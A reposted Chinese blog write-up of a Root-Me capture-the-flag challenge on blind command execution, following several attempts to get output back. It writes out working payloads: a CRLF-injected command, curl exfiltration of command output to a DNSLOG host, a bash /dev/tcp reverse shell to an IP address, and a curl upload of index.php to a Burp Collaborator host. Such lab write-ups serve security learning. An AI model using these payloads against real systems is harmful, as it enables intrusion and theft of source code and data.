[WEB安全]无回显代码执行【转载】

原作者:AdminTony
原文链接:http://www.admintony.com/无回显代码执行利用方法.html

在Root-Me上有一道代码执行的题目,其链接为题目链接

0x01 简介

打开题目以后,在输入框中提示127.0.0.1

输入127.0.0.1 && whoami进行测试:

提示Syntax Error。

通过测试,发现127.0.0.1%0d%0awhoami可以执行成功。

0x02 尝试DNSLOG获取回显

使用反引号执行代码,并用curl将执行结果返回给DNSLOG

ip=127.0.0.1%0d%0acurl `whoami`.t00ls.3e426ecf5c48221e002db4ae061cc4bc.tu4.org

代码正常执行,查看DNSLOG收到的回显。

发现whoami没有被执行,而是原样返回。

0x03 尝试反弹shell

既然不能直接执行,就想着用nc返回一个交互式的shell来读取flag。

# 服务器端执行
nc -vv -lp 8888
# 命令执行处执行
bash -i >& /dev/tcp/47.95.206.199/8888 0>&1
# payload
ip=127.0.0.1%0d%0abash+-i+>%26+/dev/tcp/47.95.206.199/8888+0>%261

显示执行成功,但是服务器端并没有受到反弹的shell。

0x04 curl上传文件读取源码

经过测试:
curl可以正常执行,那么使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)。

获取Collaborator Client分配给BURP的链接:

打开Burp主界面 -->菜单(Burp)-->Burp Collaboraor Client -- > 点击 Copy to Clipboard
粘贴出来大概这样:XXXXXXXXXXXXXXXXXXXXXX.burpcollaborator.net

拼接Payload,并提交。

payload:
ip=127.0.0.1%0d%0acurl -X POST -F xx=@index.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net

查看Collaborator Client收到的数据:

可以看到成功读取到了源码。

posted @ 2019-10-14 19:15  肖洋肖恩、  阅读(787)  评论(0编辑  收藏  举报
jQuery火箭图标返回顶部代码